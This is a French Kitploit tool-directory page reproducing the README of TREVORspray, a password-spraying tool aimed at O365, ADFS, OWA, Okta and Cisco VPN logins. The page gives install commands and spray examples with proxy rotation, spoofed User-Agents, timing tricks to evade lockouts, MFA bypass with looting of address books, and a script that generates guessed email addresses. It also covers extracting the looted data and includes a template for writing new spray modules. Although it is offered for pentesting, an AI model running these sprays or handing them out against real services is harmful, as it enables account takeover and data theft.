Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
TREVORspray — Outil modulaire de pulvérisation de mots de passe avec rotation de proxy SSH, contournement MFA et reconnaissance de domaine. Prend en charge O365, ADFS, OWA, Okta, Cisco VPN. Automatise la validation des identifiants et l'extraction de butin. | Kitploit
Outils/GitHubGitHub/blacklanternsecurity/trevorspray
Contournement de WAF
GitHubblacklanternsecurity/trevorspray

TREVORspray

Outil modulaire de pulvérisation de mots de passe avec rotation de proxy SSH, contournement MFA et reconnaissance de domaine. Prend en charge O365, ADFS, OWA, Okta, Cisco VPN. Automatise la validation des identifiants et l'extraction de butin.

Voir le dépôt

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager
1.4k1796il y a 3 moisVérifié par Kitploit

TREVORspray 2.0

TREVORspray est un pulvérisateur de mots de passe modulaire avec threading, proxy SSH, modules de butin, et plus encore !

Par @thetechr0mancer

License Python Version

Installation :

root@kitploit:~
pip install git+https://github.com/blacklanternsecurity/trevorproxy
pip install git+https://github.com/blacklanternsecurity/trevorspray

Consultez le Billet de blog accompagnant pour une diatribe amusante et des démos sympas !

trevorspray-demo

Fonctionnalités

  • Threads, beaucoup de threads
  • Plusieurs modules
    • msol (Office 365)
    • adfs (Active Directory Federation Services)
    • owa (Outlook Web App)
    • okta (Okta SSO)
    • anyconnect (Cisco VPN)
    • modules personnalisés (faciles à créer !)
  • Vous indique le statut de chaque compte : s'il existe, est verrouillé, a l'authentification multifacteur activée, etc.
  • Annulation/reprise automatique (se souvient des combinaisons utilisateur/mot de passe déjà essayées dans ~/.trevorspray/tried_logins.txt)
  • Proxy round-robin à travers plusieurs IP avec --ssh ou --subnet
  • Reconnexion/réessai infini automatique si un proxy tombe (ou si vous perdez Internet)
  • Usurpe User-Agent et autres signatures pour ressembler à du trafic d'authentification légitime
  • Journalisation complète
  • Optionnel --delay, --jitter et --lockout-delay entre les requêtes pour contourner les contre-mesures de verrouillage
  • Support IPv6
  • Support de contournement MFA O365 (désactiver avec --no-loot)
    • IMAP
    • SMTP
    • POP
    • EWS (Exchange Web Services) - Récupère automatiquement le GAL (Global Address Book)
    • EAS (Exchange ActiveSync)
      • Contournement recommandé : application BlueMail Android
    • EXO (Exchange Online PowerShell)
    • UM (Exchange Unified Messaging)
    • AutoDiscover - Récupère automatiquement le OAB (Offline Address Book)
    • Accès au portail Azure
  • Domaine --recon avec les fonctionnalités suivantes :
    • lister les enregistrements MX/TXT
    • lister les informations O365
      • ID du locataire
      • nom du locataire
      • autres domaines du locataire
      • URL SharePoint
      • URLs d'authentification, autodiscover, configuration de fédération, etc.
    • Énumération d'utilisateurs (utiliser --recon et --users) :
      • OneDrive
      • Azure Seamless SSO

Comment faire - O365

  • D'abord, obtenez une liste d'emails pour corp.com et effectuez un spray pour voir si la configuration par défaut fonctionne. Généralement, ça marche.
  • Si TREVORspray dit que les emails de votre liste n'existent pas, n'abandonnez pas. Obtenez le token_endpoint avec --recon corp.com. Le token_endpoint est l'URL contre laquelle vous allez pulvériser (avec l'option --url).
  • Il faudra peut-être quelques expériences avant de trouver la bonne combinaison de token_endpoint + format d'email.
    • Par exemple, si vous attaquez corp.com, cela pourrait ne pas être aussi simple que de pulvériser corp.com. Vous pourriez découvrir que la société mère Evilcorp possède leur locataire Azure, ce qui signifie que vous devez pulvériser contre le token_endpoint d'evilcorp.com. De plus, vous pourriez constater que le domaine interne corp.local est utilisé à la place de corp.com.

Exemple : Effectuer un recon contre un domaine (récupère les infos du locataire, autodiscover, enregistrements MX, etc.)

root@kitploit:~
trevorspray --recon evilcorp.com
...
    "token_endpoint": "https://login.windows.net/b439d764-cafe-babe-ac05-2e37deadbeef/oauth2/token"
...

Exemple : Énumérer les utilisateurs via OneDrive (aucune tentative de connexion échouée)

root@kitploit:~
trevorspray --recon evilcorp.com -u emails.txt --threads 10

recon-user-enumeration

Exemple : Pulvériser contre l'URL "token_endpoint" découverte

root@kitploit:~
trevorspray -u emails.txt -p 'Welcome123' --url https://login.windows.net/b439d764-cafe-babe-ac05-2e37deadbeef/oauth2/token

Exemple : Pulvériser avec un délai de 5 secondes entre les requêtes

root@kitploit:~
trevorspray -u [email protected] -p 'Welcome123' --delay 5

Exemple : Pulvériser et round-robin entre 3 IPs (l'IP actuelle est également utilisée, sauf si -n est spécifié)

root@kitploit:~
trevorspray -u emails.txt -p 'Welcome123' --ssh [email protected] [email protected]

Exemple : Trouver des noms d'utilisateurs valides sans OSINT >:D

root@kitploit:~
# clone wordsmith dataset
wget https://github.com/skahwah/wordsmith/releases/download/v2.1.1/data.tar.xz && tar -xvf data.tar.xz && cd data

# order first initial by occurrence
ordered_letters=asjmkdtclrebnghzpyivfowqux

# loop through first initials
echo -n $ordered_letters | while read -n1 f; do
  # loop through top 2000 USA last names
  head -n 2000 'usa/lnames.txt' | while read last; do
    # generate emails in f.last format
    echo "${f}.${last}@evilcorp.com"
  done
done | tee f.last.txt

trevorspray -u f.last.txt -p 'Welcome123'

Extraire les données des fichiers LZX téléchargés

Lorsque TREVORspray contourne avec succès l'authentification multifacteur et récupère un Offline Address Book (OAB), le carnet d'adresses est téléchargé au format LZX dans ~/.trevorspray/loot. LZX est un algorithme de compression ancien et ennuyeux utilisé par Microsoft.

root@kitploit:~
# get libmspack (for extracting LZX file)
git clone https://github.com/kyz/libmspack
cd libmspack/libmspack/
./rebuild.sh
./configure
make

# extract LZX file
./examples/.libs/oabextract ~/.trevorspray/loot/deadbeef-ce01-4ec9-9d08-1050bdc41131-data-1.lzx oab.bin
# extract all strings
strings oab.bin
# extract and dedupe emails
egrep -oa '[A-Za-z0-9._%+-]+@[A-Za-z0-9.-]+\.[A-Za-z]{2,6}' oab.bin | tr '[:upper:]' '[:lower:]' | sort -u

TREVORspray - Aide :

root@kitploit:~
$ trevorspray --help
usage: trevorspray [-h] [-m {owa,okta,auth0,anyconnect,jumpcloud,adfs,msol,example}] [-up USERPASS [USERPASS ...]] [-u USERS [USERS ...]] [-p PASSWORDS [PASSWORDS ...]] [--url URL]
                   [-r DOMAIN] [--export-tenants FILE] [-t THREADS] [-f] [-d DELAY] [-ld LOCKOUT_DELAY] [-j JITTER] [-e] [-nl] [--ignore-lockouts] [--timeout TIMEOUT] [--random-useragent]
                   [-6] [--proxy PROXY] [-v] [-s USER@SERVER [USER@SERVER ...]] [-i KEY] [-b BASE_PORT] [-n] [--subnet SUBNET] [--interface INTERFACE]

A password sprayer with the option to load-balance traffic through SSH hosts

options:
  -h, --help            show this help message and exit

basic arguments:
  -m, --module {owa,okta,auth0,anyconnect,jumpcloud,adfs,msol,example}
                        Spray module to use (default: msol)
  -up, --userpass USERPASS [USERPASS ...]
                        file(s) containing username and password pairs (format: 'username:password')
  -u, --users USERS [USERS ...]
                        Usernames(s) and/or file(s) containing usernames
  -p, --passwords PASSWORDS [PASSWORDS ...]
                        Password(s) and/or file(s) containing passwords
  --url URL             The URL to spray against
  -r, --recon, --enumerate DOMAIN
                        Retrieves MX records and info related to authentication, email, Azure, Microsoft 365, etc. If --usernames are specified, this also enables username enumeration.
  --export-tenants FILE
                        Export all discovered tenant domains to a file

advanced arguments:
  Round-robin traffic through remote systems via SSH (overrides --threads)

  -t, --threads THREADS
                        Max number of concurrent requests (default: 1)
  -f, --force           Try all usernames/passwords even if they've been tried before
  -d, --delay DELAY     Sleep for this many seconds between requests
  -ld, --lockout-delay LOCKOUT_DELAY
                        Sleep for this many additional seconds when a lockout is encountered
  -j, --jitter JITTER   Add a random delay of up to this many seconds between requests
  -e, --exit-on-success
                        Stop spray when a valid cred is found
  -nl, --no-loot        Don't execute loot activites for valid accounts
  --ignore-lockouts     Forces the spray to continue and not stop when multiple account lockouts are detected
  --timeout TIMEOUT     Connection timeout in seconds (default: 10)
  --random-useragent    Add a random value to the User-Agent for each request
  -6, --prefer-ipv6     Prefer IPv6 over IPv4
  --proxy PROXY         Proxy to use for HTTP and HTTPS requests
  -v, --verbose, --debug
                        Show which proxy is being used for each request

SSH Proxy:
  Round-robin traffic through remote systems via SSH (overrides --threads)

  -s, --ssh USER@SERVER [USER@SERVER ...]
                        Round-robin load-balance through these SSH hosts (user@host) NOTE: Current IP address is also used once per round
  -i, -k, --key KEY     Use this SSH key when connecting to proxy hosts
  -b, --base-port BASE_PORT
                        Base listening port to use for SOCKS proxies
  -n, --no-current-ip   Don't spray from the current IP, only use SSH proxies

Subnet Proxy:
  Send traffic from random addresses within IP subnet

  --subnet SUBNET       Subnet to send packets from
  --interface INTERFACE
                        Interface to send packets on

Écrire vos propres modules de pulvérisation

Si vous devez pulvériser un service/endpoint qui n'est pas encore supporté, vous pouvez écrire votre propre module de pulvérisation ! C'est une excellente option car les modules personnalisés bénéficient de toutes les fonctionnalités de TREVORspray -- par exemple, proxy, délai, gigue, etc.

Écrire votre propre module de pulvérisation est assez simple. Créez un nouveau fichier .py dans lib/sprayers (par exemple lib/sprayers/custom_sprayer.py), et créez une classe qui hérite de BaseSprayModule. Vous pouvez nommer la classe comme vous le souhaitez. Remplissez la méthode HTTP et tous les autres paramètres dont vous avez besoin dans les requêtes (vous pouvez vous référer à lib/sprayers/base.py ou à tout autre module pour des exemples).

  • Vous n'avez besoin d'implémenter qu'une seule méthode sur votre classe personnalisée : check_response(). Cette méthode évalue la réponse HTTP pour déterminer si la connexion a réussi.
  • Une fois terminé, vous pouvez utiliser le module personnalisé en spécifiant le nom de votre fichier python (sans le .py) sur la ligne de commande, par exemple trevorspray -m custom_sprayer -u users.txt -p Welcome123.
root@kitploit:~
# Example spray module

from .base import BaseSprayModule

class SprayModule(BaseSprayModule):

    # HTTP method
    method = 'POST'
    # default target URL
    default_url = 'https://login.evilcorp.com/'
    # body of request
    request_data = 'user={username}&pass={password}&group={otherthing}'
    # HTTP headers
    headers = {}
    # HTTP cookies
    cookies = {}
    # Don't count nonexistent accounts as failed logons
    fail_nonexistent = False

    headers = {
        'User-Agent': 'Your Moms Smart Vibrator',
    }

    def initialize(self):
        '''
        Get additional arguments from user at runtime
        NOTE: These can also be passed via environment variables beginning with "TREVOR_":
            TREVOR_otherthing=asdf
        '''
        while not self.trevor.runtimeparams.get('otherthing', ''):
            self.trevor.runtimeparams.update({
                'otherthing': input("What's that other thing? ")
            })

        return True


    def check_response(self, response):
        '''
        returns (valid, exists, locked, msg)
        '''

        valid = False
        exists = None
        locked = None
        msg = ''

        if getattr(response, 'status_code', 0) == 200:
            valid = True
            exists = True
            msg = 'Valid cred'

        return (valid, exists, locked, msg)

CRÉDITS LÀ OÙ ILS SONT DUS - UN GRAND MERCI À :

  • @dafthack pour avoir écrit MSOLSpray
  • @Mrtn9 pour son portage Python de MSOLSpray
  • @KnappySqwurl pour être un sorcier Splunk
  • @CarsonSallis pour les contournements MFA O365
  • @DrAzureAD pour les fonctionnalités de reconnaissance Azure AD (AADInternals)
  • @nyxgeek pour l'énumération d'utilisateurs OneDrive (onedrive_user_enum)
  • @gremwell pour l'énumération d'utilisateurs Seamless SSO (o365enum)

trevor

#trevorforget

Télécharger l’outil
  • Donc finalement, au lieu de pulvériser [email protected] contre le token_endpoint de corp.com, vous pulvérisez [email protected] contre celui d'evilcorp.com.